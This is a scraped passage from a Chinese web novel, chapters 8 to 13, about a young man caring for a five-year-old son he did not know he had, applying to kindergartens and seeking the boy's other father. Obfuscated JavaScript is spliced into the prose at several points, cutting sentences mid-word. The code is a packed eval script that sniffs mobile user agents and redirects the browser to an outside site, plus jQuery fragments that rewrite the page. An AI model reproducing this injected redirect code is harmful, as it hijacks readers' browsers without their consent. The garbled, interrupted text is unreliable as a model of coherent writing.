白榆瞅了一眼白予安的画纸。 纸上画的是……两个堆在一起的长方形,最顶端还放着一个三角形。 长方形和三角形非常标准,横平竖直的,强迫症看了都说不出话来的那种。 然后还有一坨白色的……坨坨,和两坨黑色的坨坨。 整个背景是……五彩缤纷的。 画的很好,充满了……艺术色彩。 白榆从来没有像现在一样觉得他的词汇这么匮乏过。 他看了半晌,还是没忍住凑过去问道:“这画的是什么?” 白予安拿蜡笔给最后一块上完色,把蜡笔放到旁边,指着画上的小黑坨坨说道:“这是我。” 白予安又分别指着上面的白坨坨和大黑坨坨说道,“这是爸爸,这是爹地。” 白予安一个翻身,从地面上坐起来,双手举着画纸,向白榆展示,“这是我们家!” 白榆也跟着坐起来,盯着画面上的自己和大黑坨坨。 怎么那个大黑坨坨看起来比他大那么多? 安安画错了吧。 白榆抬眸,发现白予安正眼睛亮亮的看着他。 白榆顿了顿,动作犹豫的摸了摸对方的头,“……挺好。” 白予安的眼睛更亮了。 白予安哼着听不出调子的小曲,将散落在周围蜡笔收好,摊开小手,看着自己被蜡笔染出五颜六色的爪爪,跑到卫生间去了。 “画要帮你收起来吗。”白榆没什么精神的说。 “不用了,爸爸。”白予安踩着小凳子,把水龙头打开,挤了一点洗手液,搓出来一堆小泡泡来。 “哦。”白榆两只指头将画拎起来,正准备去扔的时候,余光忽然撇到了整齐的放在盒子里的白色蜡笔。 看着画上明显比自己大的大黑坨,白榆停顿了几秒,鬼使神差的偷偷把白色蜡笔从盒子里拿了出来。 白榆将纸放在茶几上,半蹲下来用画笔手动为自己增高中。 他肯定比那个老男人高。 经过不懈的努力,白榆看着比大黑坨高出不少的白色坨坨,满意了。 嗯,他就是这么高。 白榆从地上站起来,正准备去扔画,一转身,对上一双滚圆琥珀色眼眸。 白予安手里抱着狐狸娃娃,滚圆的眼眸迷惑的眨了眨眼睛,“爸爸?” 白榆被吓的炸毛,手一松,啪的一声,蜡笔掉落在地上摔成了两半。 9. 第 9 章 白予安踮起脚尖探着小脑袋,往白榆身后看。 白榆把他身后茶几上的画纸一把抓住,捏成一团塞到口袋里。 白予安眨了眨滚圆的大眼睛,“爸爸,你在干什么啊?” 白榆也想知道,他在干什么呢?! 他没事去改一幅画干什么? 白榆舔了下唇,生硬的转移话题,“你怎么抱着玩偶?” 小朋友很容易被转移了注意力,白予安摊开了握成小拳头的左手,里面放着一枚黑色的扣子,“狐狸的眼睛掉了。” 白榆很明显的愣了一下。 “扔了……”白榆垂着眼,想要说些什么,沉默了半晌后,最终还是把话咽了下去。 白榆伸出手,“算了,给我吧。” 这只玩偶看起来已经很旧了,低着头无精打采的被白予安抱在怀中,头顶被人歪歪扭扭的缝了一道黑线,两只眼睛也不一样,一边豆豆眼,另一边则是明显有缝补痕迹的扣子。 丑爆了。 甚至丑到了有些诡异的地步。 白榆拾起白予安掌心里的扣子,另一只手拎起那只丑狐狸,没有说话。 白予安仰着头看白榆,觉得爸爸好像有点不高兴。 是因为娃娃坏了吗? 白予安有些苦恼。 安安有一只小猪存钱罐,里面有很多很多红色的钱,要是砸碎了肯定够给爸爸买一个新的了。 但是现在小猪不在了。 安安没办法给爸爸买新的玩偶了。 白予安越想越失落,低着头蹲在地上,头仿佛有一层乌云在上面一样。 等白榆回过神来,就看见白予安蹲在地上正在种蘑菇。 刹时间白榆也顾不上什么别的事了,他蹲到白予安旁边,戳了戳白予安软乎乎的小脸,“怎么了?” 怎么忽然就不高兴了? 白予安抬起头,一双滚圆的眼眸泪汪汪的,扑倒了白榆的怀里,奶声奶气的说道:“爸爸,我以后一定给你买好多好多的玩具。” 白榆:“???” * * * 白榆带着白予安吃了晚饭后,又开始了他填写报名申请的工作。好在几所学校要的东西都差不多,省的他在想一遍。 等填完最后一份申请的时候,白榆用力的伸了个懒腰,他仔细的看着自己写的内容,发自内心的觉得…… 他肯定会被学校直接筛掉。 人贵在有自知之明。 谢昀澈这份不知道从哪里弄来的资料,甚至还详细地介绍了各个学校的录取偏好。时间有限,白榆没仔细看,就他看到的那几条里,他没一条够的上。 尤其是里面被几乎所有学校着重强调的一点,他们希望园内的孩子有一个‘健全美满’的家庭,在父母双方的教养下长大。 他们家目前的状况都不能算是单亲,直接就是……‘丧偶’。 白榆想了想,拿出手机,给谢昀澈发了条消息。 【树:你说我会不会直接就被学校刷掉,连考试机会都没有】 【谢昀澈:不会】 白榆没想到谢昀澈会这么相信他。 他感动了还没两秒,手机上就迅速收到了新的消息。 【谢昀澈:学校会核查学生家长的身份,看在白家的面子上,他们起码不会直接让你被刷掉】 白榆:“……” 【树:哦】 冷漠.jpd 白榆把额头贴在桌子上,没力气的趴着。 申请不会给驳回来,但估计十有八九考不上。 如果是白榆自己上学,白榆肯定觉得上哪所幼儿园都一样。 小孩子重要的是开心。 但放在白予安身上,白榆又不那么觉得了。 凭什么别人家的孩子在有名的私立幼儿园,白予安就只能在寿喜锅旁边上学。 白榆支着桌面坐直身子,拿出干劲来,重新打开了那份谢昀澈发过来的资料。 半个小时后,白榆更焦虑了。 他回到客厅里,看着自家正在摆弄玩偶的崽崽,深深的叹了口气。 白予安:“?” 白榆语重心长的说道:“安安,你不要有太大的压力啊。” 白予安:“??” 白榆又叹了一口气,“其实无论上哪所幼儿园,都是一样的,没有什么区别。” 白予安:“???” 爸爸在说什么? “对了。”白榆想起这么久以来,被他一直忽略的一个问题,“安安,你之前上的是哪所幼儿园。” 白榆忽然精神起来了。 如果是苏城的幼儿园就好办了,白予安在那上过学,对面试肯定有帮助的。 “幼儿园?安安没上过幼儿园。”白予安把丑狐狸举到身前,“爸爸,给。” 家里没有针线,白予安用胶布仔细的把狐狸掉了的眼睛贴了上去。 白榆把丑狐狸接了过来,指尖在狐狸被粘上去的眼睛那停顿了片刻,顿了顿才问道:“那你以前在干什么?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490791|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “在干什么……”这个问题对白予安像是很难的样子,他整张小脸都皱了起来,把拳头放在额头上,低头努力思考着。 白予安垂着脑袋,数着自己的小指头。 “跟着爹地和爸爸出去玩。” “吃巧克力。” “和安妮玩……安妮是隔壁家的奶奶养的一只大狗狗。” “安妮有这么这么大。”白予安伸出手在空中比划着,非常认真的给白榆讲解。 白榆:“……好,我知道了” 他果然不应该指望一个五岁大的孩子。 白榆打了个哈欠,眯着眼看了眼窗外的天色,“崽,我们睡吧。” 现在的时间还早,不过昨晚一夜没睡,白榆实在是有些是撑不住了。 好在白予安不像很多精力旺盛,闹着不睡觉的小孩,乖巧的点了点头,“嗯。” “那我先去洗,洗完你再去洗澡,好吗。”白榆抱着丑狐狸从沙发上起来。 白予安举起小爪爪,“好!” 白榆洗完澡靠在床上一边拿平板继续看谢昀澈发过来的资料,一边留意着浴室里的动静。 不一会,一只热气腾腾的‘小恐龙’钻了出来。 白榆的视线跟着‘小恐龙’,发现‘小恐龙’从浴室出来后,又蹭蹭蹭的从卧室里跑了出去,身后的尾巴跟着一晃一晃的。 白榆放下平板,往门外望去。 很快‘小恐龙’就回来了,手上还拿着一本书房里的杂志,兴奋的说道:“爸爸,睡前故事。” 白榆:“哦,好。” 白榆瞅了眼杂志封面上的字。 《大众文化与精英文化的社会意义》 还是纯英文的…… 他当年都买了些什么杂志? 白榆:“我们换……” 白榆话才说道一半,就发现小崽崽已经爬到了床上,摊开杂志念了起来。 白榆过了一会,才反应过来。 所以,睡前故事是给他读的。 一开始,白榆还会盯着杂志看白予安有没有哪里读错了,然而很快他就发现这个举动实在是有些多余了。 在无聊的英语阅读下,白榆仿佛回到了高中的英语考场,变得……更困了,眼睛都快睁不开了。 意识朦胧之际,忽然他忽然听到了一句中文,“爸爸,你觉得呢?” 白榆半睁着眼看向小崽崽真诚的面孔,脑海中忽然浮现出一句话。 刚刚没有听清,听力能在放一遍吗? 10. 第 10 章 “我觉得,我觉得我们现在应该睡觉了。”白榆艰难的睁开双眼,一把将小崽崽提溜起来,塞到被子里。 “安安还没念完……”白予安小胳膊扑腾着,挣扎着想要去捞杂志。 白榆装做没听见的样子,干脆利落的关了床头灯,把狐狸玩偶塞到白予安的怀里。 “晚安。”白榆把被子盖到头顶上。 连两天都没有好好睡过一个觉了,白榆很快就睡着了。 白予安却抱着玩偶,一双眼睛睁的圆溜溜的,半点想睡觉的意思也没有。 安安抱着狐狸,在床上滚了两圈,最后滚到白榆旁边,伸手抱着爸爸的胳膊,闭上眼睛,努力的睡觉。 和爸爸睡觉觉。 然而正当安安努力睡觉的时候,他感觉身上越来越凉。 安安闭着眼,往身下摸了摸。 白予安:(。_。?) 白予安睁开眼睛,往身上看了看。 被子呢? 白予安迷茫的四处张望,这才发现白榆把所有被子都卷走了。 安安费力的拽着被子的一角,从白榆身上扒拉下来一小块,盖在身上,闭着眼继续努力的睡觉。 晚安。 然而没过两秒,白榆一个翻身,又把小崽崽身上仅存的一角被子给卷走了。 白予安拍了拍没有被子的身上,扁了扁嘴。 “嗯!”白予安拽着被子的一角,小脸涨的通红,紧闭双眼,卖力的拉着。 片刻后,白予安看着纹丝不动的被子,大口喘着气。 拽不动qaq 白予安毫不犹豫的把狐狸扔掉,从床尾爬到了另一头,钻进被子里。 睡梦中的白榆习惯性的抱住了身旁的东西。 白予安将头靠在白榆的胸膛上,闭上了眼,夜色下,缓缓的睡了过去。 晚安。 第二天,清晨,早起的虫子正在被喳喳叫个不停的鸟吃。 白榆瘫在柔软的大床上,睡得正香。 睡梦中,白榆总觉得好像有人在盯着他看。 白榆皱了皱眉,犹豫了半晌后,艰难的将眼睛睁开一条缝。 白予安:盯~ 小崽崽坐在他旁边,睁着一双大眼睛,一动不动的看着他。 白榆大一的时候住在学校里,那个时候他们宿舍偷偷养过一只猫。每天早上,那只猫也像现在这个样子,一声不吭的站在他的床边盯着他看。 莫名的,白榆每次看到,都觉得那猫像在说…………看这个愚蠢的两脚兽好意思睡到什么时候。 白榆眯着眼把手伸到枕头底下,把手机摸出来,看了眼屏幕。 六点四十五。 白榆浑身上下瞬间没了力气,手一松任由手机掉到床上。 白榆翻了个身,把脸埋到枕头里,“崽,你要是不睡,先自己出去玩一会吧。” “哦。”白予安从床上跳了下去。 白榆仅存的一点意识努力的发挥作用,迷迷糊糊的说道:“冰箱里有面包,你要是饿了,先吃一点。” “我一会醒了就做饭。”白榆的声音越来越小,话还没说完就睡着了。 白予安在床头站了一会,发现爸爸一时半会不会醒过来陪他玩后,沮丧地一个人跑出了卧室。 白予安跑到客厅里,搬了个小凳子到冰箱前,踩凳子打开冰箱,仔细数着放在盒子里的巧克力数,“二十八,二十九……” 白予安叉着腰,满意的点了点头。 安安的巧克力没有跑掉。 白予安从里面拿出了一颗,撕开糖纸吃掉。 含着巧克力的时候,白予安抬头忽然发现冰箱最上面放着一个椭圆形的东西。 那是什么? 白予安垫着脚把东西拿了下来。 白予安看着上面的字,含着巧克力含糊不清的念道:“挂面。” 白予安的小脑袋短暂地思考了一下。 挂面≈饭 饭! 白予安眼睛一亮,抱着凳子往厨房里跑。 白予安从橱柜里搬出一口崭新的锅,踩着小板凳费力的放在灶台上,又迈着小短腿跑到卧室里把平板拿了出来。 平板里的主播热情的声音响了起来——“独自带娃,如何快速的吃上营养丰盛的早餐。” 白予安站在板凳上,兴致勃勃的说道:“安安要给爸爸做饭!” * * * 醒了一次后,白榆心里一直惦记着白予安的事情,睡不安稳。 半梦半醒间,白榆闻到了一股香味飘了进来。 ??? 香味?! 白榆刷的一下睁开眼睛,挣扎着从床上爬了起来,往客厅的方向走。 “开饭啦,宝宝!” 刚打开卧室的门一道激情洋溢的电子女声就刺进了白榆的耳膜。 白榆茫然的顺着声音往厨房里看。 他家崽正站在小板凳上,前面放着一口比他脑袋还大的锅,锅里正咕嘟咕嘟的冒着气泡,他家崽拿着一双长筷子,神情专注的沿着沸腾的大锅四周缓慢搅动。 白榆:“?!” 白榆彻底清醒了,三步并两步的跑过去,一把把小崽崽从凳子上捞了下来。 “蛋……”白予安手里握着筷子喊到。 白榆没时间去管白予安的抗议,他火速的关了火,心有余悸的喘了口气。 还好没出事。 ‘罪魁祸首’完全没有自觉,又踩到凳子上,语气轻快,“还好蛋没碎。” 白榆:“你在做什么。” “安安在做早饭。”白予安仰着小脑袋无辜的看向白榆,眼眸里亮晶晶。 白榆像有一口气憋在了胸口,上也上不来,下也下不去,最后只有自己被气的难受。 他板着张脸说道:“小孩不能做饭。” “为什么啊?”白予安从小凳子上跳下来。 “没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490792|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有为什么。”白榆提溜起白予安,把他放到一边。 白予安不高兴的嘟起了嘴。 白榆检查了一番燃气,确定没有问题后,才松了口气,往锅里看。 闻着还挺香的。 白榆试探性的盛了两碗出来。 一旁的小崽崽献宝似的递过来筷子和汤勺。 白榆犹豫的盛了一勺子的汤。 味道意外的不错。 “好吃吗?好吃吗?”白予安围在白榆身边,叭叭叭的问个不停。 白榆:“。” 说好吃,万一鼓励到白予安做饭怎么办。 说不好吃,好像也不太合适。 “……还行。”白榆移开视线不去看白予安。 “哦。”小崽崽有些沮丧。 白榆心虚。 白榆把两碗面端到餐桌上,和白予安一起坐下来吃早饭。 热乎乎的面汤入胃,饿了一晚上的身体,舒展不少。 白榆已经很久都没这么正式的吃过早饭了。 他试探性的咬了口面上的蛋。 糖心的! 白榆眼睛一亮,又咬了几口。 把蛋吃完了,白榆才反应过来。 家里哪来的鸡蛋? 白榆的动作一顿,抬头问,“安安,鸡蛋是哪里来的?” 小崽崽抱着比他脸还大的碗喝了口汤,“安安问隔壁的姐姐借的。” “隔壁?”白榆回想了一下,他搬到这大半年了,不过和邻居总共也没说过几句话,隐约记得对面住着一个和他差不多大的女生。 找个时间还了吧,白榆低头喝着面汤想道。 吃完饭,白榆到卫生间里洗漱,边刷牙,边看手机里多出来的消息。 安静了一个假期的班群,此时正滴滴滴的响个不停。 【周时涵:各位亲爱的同学,后天8点到12点是我们机械的报道时间,收到请回复。不能按时报道的同学提前给我发信息,我要统一报给辅导员。想你的风终究还是吹到了b大门口,风里雨里,班长等你哦~】 白榆跟着别人,回了个收到,正准备把手机放下,页面中忽然蹦出来一条消息。 【谢昀澈:宋时蔚的事,我稍微查到了点东西】 白榆刷牙的动作一顿,接着往下滑。 【谢昀澈:他那种身份的人,我也不敢细查,我当时本来没指望能查出点什么有用的消息来的,不过有一点还挺巧的】 白榆被这个断句弄的呼吸一紧。 他以前怎么没发现,谢昀澈有说话不说完的毛病。 白榆咬着牙刷,双手拿着手机,继续往下面划。 【谢昀澈:他在国外长大,这几年才回国,A大的校长和他算的上是忘年交。回国后,他偶尔会在A大上课,还带了几个学生,这里面就包括薛楠】 【谢昀澈:嗯,就是你和我认识的那个薛楠】 白榆差点把牙刷咬断。 11. 第 11 章 白榆捧了两把凉水浇到脸上,抬头看着镜子里的自己,在心中默念。 冷静。 白榆,冷静一点。 你只不过是和一个大你十二岁的男人了结婚。 顺便又有了个孩子。 顺便的顺便那个男的还恰好是你发小的老师。 这也不是什么大事……个鬼。 白榆低着头,重重的往池面上砸了一拳。 下一秒,咔的一声。 一道裂纹在池面上漫延开来。 白榆:“。” 白榆默默地缩回手。 * * * 白榆:“下午可以来吗?嗯,好。” 白予安看着在阳台上拿着手机和别人说着些什么的爸爸,哒哒哒的跑了过去,“爸爸,你在做什么?” 白榆挂了电话,沧桑的说道:“我在找人换一个洗脸池。” 白予安:“为什么要换洗脸池?” 白榆:“……因为裂开了。” 白予安:“?” 白榆移开视线,不去看白予安。 他坐在沙发上认真地思考了一下这件事。 白榆实在是想不通,他以后到底是脑子进水了,还是失忆和过去彻底告别了。 和宋时蔚在一起,这,这和直接睡了发小他爹到底有什么区别! 白榆整个人烦躁的都快要炸起来了。 深呼中。 几分钟后,白榆妄图挣扎一下,把冰箱里的巧克力全都拿了出来,放到白予安面前。 白榆半蹲下来,温柔的说,“安安,来吃巧克力。” “……嗯。”白予安安静了一下,眨了眨眼,最终还是没忍住诱惑,犹豫的伸出爪爪。 爸爸,好奇怪。 白予安从盒子里拿了三颗巧克力放到衣服口袋里。 白榆说,“再多拿几颗吧。” 白予安小心的观察了一下白榆的表情,小声说道:“我今天上午已经吃过一颗了。” 白榆大方的说道:“没关系,今天可以多吃一点。” 白予安看了看爸爸,又看了看巧克力,努力忍住,小声的问道:“爸爸,有什么事吗。” 白榆抛出了他准备好的第一个问题,“我和你另一个爸爸你更喜欢谁?” 白予安毫不犹豫的回答,“爸爸。” 白榆松了口气,继续追问,“那如果,我是说如果,就只有爸爸一个人带你怎么样?” 白予安低着头看不见表情,默默的从口袋里把巧克力掏出来放在白榆手上。 白榆莫名觉得手上的几颗糖有些沉。 白榆低下头发现白予安站的那片地板上多了几颗水滴。 白予安抬起头望着白榆,脸颊红红的,滚圆的眼眸里挤满了泪珠,抿着嘴角强忍着不让眼泪掉下来,磕磕巴巴的说,“爸爸,能不能,不要和爹地离婚。” 白榆绝望的闭了闭眼。 我压根就没结婚。 * * * “昀澈,到底是什么事,这么急着找我。”薛楠顶着一头乱糟糟的头发,打了个哈欠,眼下一片乌青。 “到了你就知道了。”谢昀澈走在前面给他带路。 走到包厢前,谢昀澈没有急着推门,状似无意的问了一句,“对了,你前两天不是还和我说,怕小榆跑过来揍你吗,你们两的事解决好了吗?” 薛楠浑身一僵,心虚大声喊,“我才不怕他呢?” 说完,他转头往四周看了一圈,确认没有人后,虚张声势的说道:“我那是让着他,懒得和他计较。” “那就好。”谢昀澈点了点头,推开房门。 房内,白榆坐在正对着房门的椅子上,面无表情的看着薛楠。 薛楠转头就跑。 谢昀澈拽着他衣领,无奈了叹了口气,“你刚不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490793|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是还说不怕的吗?再说了,你也不能一直躲着,是不是。” 薛楠奋力挣扎,喊着,“你骗我。” “我没骗你,我只是说找你有事,又没说小榆不在这里。”谢昀澈把薛楠拉到门内,转头把门锁死,彻底断了对方的后路,“真找你有事,别跑。” 薛楠像看一种负心汉的眼神看着谢昀澈。 白榆盯着薛楠看了没两秒,就移开了视线。 不知道为什么,他现在一看到薛楠,就……浑身都不舒服。 他以后居然和这货的导师在一起了。 白榆起了一身鸡皮疙瘩。 薛楠:“?” 他怎么觉得……白榆看他的眼神怪怪的。 “小榆。”见白榆一直没说话,谢昀澈出声提醒了他一句。 “哦。”白榆回过身来,切入正题,“你们开学了是吧?” “嗯。”看着白榆不善的脸色,薛楠谨慎的点了点头。 白榆:“你导师是不是叫宋时蔚。” “……嗯,你怎么知道的?”薛楠心底浮现出一种不祥的预感。 白榆:“有他联系方式吗?” 薛楠弱弱的开口,“私人邮箱……算吗?” 白榆:“……算,能给我吗?” 薛楠所剩不多的情商准时上线,僵硬的摇了摇脑袋,“不太行。” “行。”白榆点了点头。 白榆也知道薛楠不方便给他,一开始也没打算真的从他这拿到联系方式。 白榆接着问,“三天后,上午8点,你是不是有他的课。” 薛楠震惊的说,“你怎么这么清楚?!” “这不重要。”白榆靠在椅子靠背上,冷着张脸看向薛楠,“三天后,你上课的时候能带着我吗?” 薛楠:“……我可以拒绝吗?” 白榆没说话。 薛楠:“……好的。” 12. 第 12 章 “你来我们学校干什么?”薛楠试图挣扎一下,“你听的懂吗?” “嗯?”事解决后,白榆放松了下来,随口的扯了个谎,“我忽然发现,学习让人快乐。” 薛楠:“……” 那是挺忽然的。 难为你了,人生的前二十年都没发现。 宋时蔚在A大教书。白榆在B大读书,两所学校中间就隔了一条街。白榆觉得得找个机会,当面把这件事告诉对方。 如果宋时蔚不能接受的话,那也行,他可以一个人带孩子,不需要多一个陌生人出来。 白榆自认为想的很周到。 从刚才起,就一直沉默的坐在一旁的谢昀澈忽然开口,“你把小孩一个人放家里这么久没问题吗?” “没。”白榆抬头看了眼谢昀澈,意识到对方可能误会了,“没有一个人在家,我把安安放邻居那去了。” 谢昀澈:“你还有关系这么好的邻居?” 薛楠:“你还认识邻居?!” 白榆:“……” * * * 早上,白榆出门前。 他本来是打算把安安一起带走的,毕竟五岁多的孩子一个人在家里他也不放心。 结果他刚穿好鞋准备出门,门铃就响了起来,住在他隔壁的邻居A拿着一个小袋子站在门口。 “我是住在隔壁的。”黎默担心白榆不记得她,先一步说道,“我叫黎默。” 她把手中的小袋子递了过去,“这是我自己烤的饼干,不嫌弃的话,拿回去尝尝吧。” 白榆茫然地接过饼干,“?谢谢。” “其实我之前就一直很想过来了,上次真的很谢谢你。”黎默表面上一幅大方的样子,心底其实很慌。 她社恐,平时连问陌生人个问题都要先做下心理准备,更何况……她邻居一直看起来不好相处。 要不是对方家里的小孩今天来找她借东西,黎默还不知道自己什么时候才能过来道谢。 白榆更迷茫了,独自面对陌生女性,他也多少有些僵硬。 黎默把该说的说完后,整个人放松不少,“你可能不记得了,上次在超市,谢谢你帮我把那几个男的赶走了。” 她这么一提,白榆忽然想起来了。 小区一层就两户,虽然没说过几句话,但住这么久了,抬头不见,低头见的,白榆又不是瞎子,认识肯定是认识的,有一次他在超市撞见对方被几个男的强行搭讪,就顺便上去帮个忙。 白予安蹲着系好鞋带后,蹭的下从白榆身后冒出小脑袋,一双圆溜溜的眼眸盯着黎默,热情地打招呼,“姐姐好。” “小朋友好。” 黎默表面上努力维持着镇静,心底却忍不住嗷了起来。 好可爱! 黎默问白榆,“你是要带孩子出去吗。” 白榆按了下抱着他腿的白予安的小脑袋,揉了两把他家崽软软的头发,“嗯。我要出去办点事,不放心他一个人在家里。” 黎默快速说道:“其实可以把孩子放我这的!” 白榆:“啊?” 说完,黎默也反应过来自己表现的过于热情了,干咳了两声,试图掩饰自己想要rua别人家小孩的念头,“主要是正好我侄子今天也在,两个小孩还能一起玩。” 白榆低头看着白予安,白予安正眼巴巴的望着他。 白榆犹豫了下,还是同意了。 白予安来这里挺久了,一个小朋友也没见过,他平时也没什么时间陪安安玩,现在难得有个小孩,让安安过去也挺好的。 不知道现在两个小孩相处的怎么样了,白榆想道。 * * * 安安现在非常非常,特别特别的不高兴。 怎么会有这么讨厌的人! 从进门开始,黎渝就一直围在这个陌生的小弟弟跟前叽叽喳喳个不停。 “你叫安安是吗,你父母呢?” “你看起来好小,才到我肩。” “你怎么这么矮?平时不吃饭吗?” 心口上被嗖嗖嗖捅了几刀的白予安小朋友扭开脑袋,并不想理他。 黎渝见小弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490794|170128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟不理自己,也不失落,自己凑到白予安面前,他睫毛长,下睫毛尤为明显,眨眼的时候像小扇子一样,在白予安面前扑闪扑闪的,“你为什么不说话啊?” 因为安安不想和你说话,白予安换了个方向把脑袋扭开。 这点小冷漠并没有打败黎渝,他又凑了过去,“小弟弟……” “小弟弟!” “小弟弟!” “小弟弟!” 吵死了! 白予安半蹲下来,捂住耳朵,把自己缩成一个小球。 见小弟弟一直不理自己,黎渝试探性地拉了一下白予安后面的帽子。 拉完,黎渝自己都呆住了。 黎渝年纪还不大,但被教养的极好,这种不礼貌的行为,他不该做的。 但是…… 黎渝抓着白予安的小帽子站在原地一动不动的。 过了两秒,他……又拉了一下。 白予安:# 白予安彻底生气了,他转过头瞪了黎渝一眼,捂住自己的帽子,迈着小短腿跑走了。 他居然还拉! 安安真的生气了!!! 黎渝看看白予安,思考了一会,跑出去拿了一盒牛奶进来,主动帮忙插好后,才递给白予安,“小弟弟,给牛奶。” “谢谢。”白予安虽然不喜欢对方,但是出于礼貌,不情不愿的跟对方道谢。 白予安小口小口的吸里面的牛奶。 黎渝只比白予安大两岁,但要比白予安高很多,往安安前面一站,挡掉了大部分的阳光。 黎渝看着白予安,说道:“你这么矮,要多喝点牛奶才行。” 白予安用力的咬了口牛奶上的吸管,瞬间被气胀成河豚。 我才不矮!!! 黎渝又仔细的思考片刻,“其实,你现在这么高也挺好的。” 黎渝探出爪子拍了拍白予安的头顶,“小小的也很可爱。” 白予安用力拍开了黎渝的爪子,扭过头去,用力的吸了一口牛奶。 安安好想咬他啊!!! 13. 第 13 章 白榆把白予安从隔壁接回来的时候,小崽崽正沉着张脸,一声不吭的,手上还拿着盒刚喝到一半的牛奶。 白榆:“?” 他怎么觉得,白予安好像有点……不太高兴。 “谢谢。”白榆把刚专门绕路跑到商场里买的一盒鸡蛋递给黎默,“这是早上借的鸡蛋。” 黎默看着那盒鸡蛋,一下子没反应过来。 她还是头一次见邻居借个鸡蛋还真的还了的。 黎默把鸡蛋接了过去,“不用谢。” 白榆:“谢谢。” 见白予安要走,黎渝从房间里跑出来,有点失落,“小弟弟,你要走了吗。再见。” 白予安没说话。 十秒后,白予安还是没说话。 一分钟后,白予安依旧没说话。 楼道里出奇的安静,黎默和白榆面面相觑,彼此都有点尴尬。 白榆低头看了眼自家平时非常有礼貌又乖的崽,轻轻戳了戳白予安的后背。 怎么不和人家说再见呢? 白予安顶着爸爸和姐姐的视线,满脸写着不情愿,干巴巴的说道:“再见。” 黎默干笑着打圆场,“下次在来玩啊。” 白予安用力握紧手上的牛奶。 安安才不来了呢。 略略。 白予安在心里冲黎渝吐舌头。 白榆瞄了眼自家在悄悄瞪人家的崽子,没有回复。 白榆把气鼓鼓的小崽崽领回去,一回到家,白予安就咬着吸管,咕嘟嘟的把剩下半盒牛奶一口气全喝到肚子里了。 喝完后,白予安紧闭双眼,整张小脸都皱了起来,奶凶奶凶的说道:“牛奶,真难喝。” 白榆:“?” 生气了? “爸爸,我很矮吗?”白予安转过头,拉着白榆的衣摆问道。 白榆顿了顿,伸出手,放在白予安的头上,对着自己量了一下,含糊的说道:“还好吧。” 他其实不太清楚这么大的小孩到底有多高。 不过,白予安看起来的确很小,站起来也才到他大腿。 白予安伸出小手,放在自己头顶,滚圆的眼眸往上看,测自己到底有多高。 测了没两下,白予安警惕的往四周看了一圈,发现爸爸没有在看着自己后,卖力的踮起了脚尖。 安安才不矮呢! 白予安小脸鼓起来,更加的努力把自己踮高一点。 “啊——” 小崽崽整个人摇摇晃晃的,一个没站稳,双手在空中扑腾了两下,啪叽一下一头栽到了沙发垫上。 偷偷在一边看了全程的白榆:我不能笑。笑了一会安安肯定会更生气。 忍了半天,白榆还是没忍住,笑出了鹅叫声,“哈哈哈哈哈哈!” 白予安把埋在沙发垫子上的小脑袋抬起来,脸颊上红红的,大声喊道:“爸爸!” 白榆笑的肚子疼。 笑着笑着,白榆的手机响了起来。 白榆擦了下笑出来的眼泪,看着屏幕上的数字。 没见过的号码。 白榆随手接通电话。 亲切温和的女声音从电话那头传来过来,“您好,请问,是白予安小朋友的家长吗?” 白榆意识到了什么,原本靠在沙发背上的身体微微直起,“是的。” “您好,我是莫顿幼儿园招生办的老师,我姓陈。” 白榆客气的回复道:“您好。” “我们看过您和小朋友的简历了,觉得白予安小朋友,非常适合我们学校。您后天上午十点钟有时间吗?方便的话,我们学校有一个小测验,需要来您带着孩子来一趟。” 白榆:“有的。” 陈老师:“好的,那具体考试安排,已经发到您留下的邮箱里了。” 白榆用从未有过的客气语调说道:“麻烦您了,再见。” 电话挂断,白榆长长的呼出一口气,肉眼可见的紧张了起来。 明天,要考试了…… 白予安眨了眨眼,在继续和爸爸生气,还是去哄爸爸中犹豫了不到一秒,跑到白榆面前,把小手搭在白榆身上,“爸爸?” 白榆回过神来,抓着白予安的递过来的爪爪,认真地说道:“安安,明天要加油啊。” 直到现在,都还不知道自己要去上幼儿园了的白予安小朋友:“???” * * * 早上七点。 这个时间算不上早,但对刚放完暑假的大学生来讲,就有些痛苦了。 